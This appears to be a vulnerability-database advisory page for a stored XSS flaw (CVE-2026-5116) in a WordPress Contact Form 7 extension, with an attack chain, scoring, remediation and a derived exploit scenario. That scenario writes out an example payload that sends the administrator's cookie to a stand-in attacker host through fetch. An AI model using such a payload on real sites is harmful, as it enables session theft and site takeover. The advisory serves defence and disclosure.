Skip to main content

Dynamic Text Extension EUVDEUVD-2026-53176

| CVE-2026-5116 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-05 Wordfence GHSA-h3v3-jhc3-m8w7
4.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise Editor-level WordPress credentials
  2. Delivery
    Craft form shortcode key embedding JavaScript payload
  3. Exploit
    Payload stored in post meta via plugin
  4. Execution
    Wait for administrator to run 'Scan Forms' feature
  5. Persist
    Injected script executes in admin browser session
  6. Impact
    Exfiltrate session token or perform admin actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an active, authenticated WordPress account at Editor level or above (confirmed by PR:H in the CVSS vector). The Contact Form 7 - Dynamic Text Extension plugin must be installed and active on the target site. The injected payload executes only when an administrator explicitly navigates to and triggers the 'Scan Forms for Post Meta and User Data Keys' admin page - the administrator's action is the detonation condition, not automatic page load. Exploitation is not possible against unauthenticated visitors, subscribers, contributors, or authors. High attack complexity (AC:H) in the CVSS vector is consistent with the attacker needing to pre-position the payload and rely on an administrator subsequently running the specific scan. These combined conditions - privileged attacker account plus active admin trigger - materially limit the realistic attack surface compared to the raw CVSS network vector suggests.

Impact

The NVD/Wordfence CVSS score of 4.4 (Medium) with vector AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N reflects the high privilege barrier (Editor-level account required) and high attack complexity. However, there is a material discrepancy in the provided vector: UI:N (no user interaction) conflicts directly with the CVE description, which states the payload fires only when an Administrator actively runs the scan feature - a condition that implies UI:R (user interaction required). This discrepancy should be verified with Wordfence or the vendor before relying on the provided score for automated risk tooling. No EPSS score was supplied, no CISA KEV listing exists, and no public exploit code has been identified, collectively indicating low immediate exploitation urgency. Real-world risk is substantially constrained by the Editor-level prerequisite: an attacker must already control a privileged WordPress account, making this a privilege-escalation chaining primitive rather than an initial-access vector. The Scope:Changed signal is meaningful - successful exploitation could compromise an administrator's browser session, potentially enabling full site takeover.

Exploit ScenarioDerived

An attacker with Editor-level access to a WordPress site plants a malicious JavaScript payload as the key name of a Contact Form 7 shortcode (for example, a key containing <img src=x onerror=fetch('https://attacker.tld/?s='+btoa(document.cookie))>). The payload is stored in WordPress post meta. When a site administrator later opens the admin panel and runs the 'Scan Forms for Post Meta and User Data Keys' feature, the unescaped key is rendered in the browser, causing the script to execute in the administrator's session and potentially exfiltrating session cookies or triggering unauthorized admin actions. No public POC has been identified, but the exploitation pattern requires no specialized knowledge beyond standard XSS techniques.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Stored XSS in the Contact Form 7 Dynamic Text Extension WordPress plugin (all versions through 5.0.5) enables an authenticated Editor-level user to inject arbitrary JavaScript into form shortcode keys, which executes in an administrator's browser when the admin triggers the 'Scan Forms for Post Meta and User Data Keys' feature. The Scope:Changed CVSS metric correctly reflects that the injected payload runs in a higher-privilege context (administrator session) than where it was planted (editor account). No public exploit code and no CISA KEV listing exist at time of analysis; vendor-released patch version 5.0.6 resolves the issue.

RemediationAI

Upgrade to version 5.0.6 immediately; this release is confirmed by the WordPress plugin repository changeset between tags 5.0.5 and 5.0.6 at https://plugins.trac.wordpress.org/changeset?new=3561908%40contact-form-7-dynamic-text-extension%2Ftags%2F5.0.6&old=3463604%40contact-form-7-dynamic-text-extension%2Ftags%2F5.0.5. Updates can be applied via the WordPress dashboard (Plugins → Updates) or via WP-CLI with wp plugin update contact-form-7-dynamic-text-extension. If immediate upgrade is not feasible, restrict Editor-level user accounts from creating or editing form shortcode keys to eliminate the injection surface, accepting the trade-off of reduced editorial functionality. Alternatively, instruct administrators to avoid running the 'Scan Forms for Post Meta and User Data Keys' feature until the patch is applied, which prevents payload execution without requiring role changes. Deploying a Content-Security-Policy header for the wp-admin path that blocks inline script execution (script-src 'self') provides an additional layer of XSS mitigation across the entire admin panel, though this may break other plugins relying on inline scripts.

Affected VersionsENISA

DTX – Dynamic Text Extension for Contact Form 7 0 ≤5.0.5

Affected Packages

euvd dtx_dynamic_text_extension_for_contact_form_7 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the WordPress plugin Contact Form 7 - Dynamic Text Extension (CPE: cpe:2.3:a:sevenspark:dtx_-_dynamic_text_extension_for_contact_form_7:*:*:*:*:*:*:*:*) by SevenSpark, which extends the widely-used Contact Form 7 plugin with dynamic shortcode-driven text fields populated from WordPress post meta and user data. The vulnerable code path is in includes/admin/settings.php at approximately lines 544 and 559 (confirmed from plugin Trac browser references for tag 5.0.4), where form shortcode keys are retrieved and rendered on the admin scan page without adequate HTML output escaping. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting) root cause: attacker-controlled input stored in the database is later echoed into an HTML context without sanitization, allowing injection of executable script content.

Know when Wordpress Plugin gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 4.4 MEDIUM
AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 4.0 MEDIUM

Editor credentials required (PR:H); administrator must actively run the scan to trigger payload (UI:R, correcting provided UI:N); injected script executes in admin browser scope (S:C); limited session/data exposure only.

3.1 AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Contact Form 7 - Dynamic Text Extension plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.0.5. This is due to insufficient output escaping on form shortcode keys displayed in the admin "Scan Forms for Post Meta and User Data Keys" page. This makes it possible for authenticated attackers, with Editor-level access and above, to inject arbitrary web scripts that execute when an Administrator runs the scan feature.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Medium
popular WordPress plugin extending widely-used Contact Form 7
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-5084 CRITICAL POC
9.8 May 23

The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil

CVE-2024-44000 CRITICAL POC
9.8 Oct 20

Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote

CVE-2020-36847 CRITICAL POC
9.8 Jul 12

The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner

CVE-2025-11749 CRITICAL POC
9.8 Nov 05

The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint

CVE-2025-27007 CRITICAL POC
9.8 May 01

The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut

CVE-2016-1209 CRITICAL POC
9.8 May 14

The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via

CVE-2024-4443 CRITICAL POC
9.8 May 22

The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based

CVE-2024-1698 CRITICAL POC
9.8 Feb 27

SQL injection in the NotificationX WordPress plugin (versions up to and including 2.8.2) allows unauthenticated remote a

CVE-2023-6875 CRITICAL POC
9.8 Jan 11

The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress i

CVE-2024-1512 CRITICAL POC
9.8 Feb 17

The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to union base

CVE-2024-4295 CRITICAL POC
9.8 Jun 05

The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the ‘hash’ parameter in

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy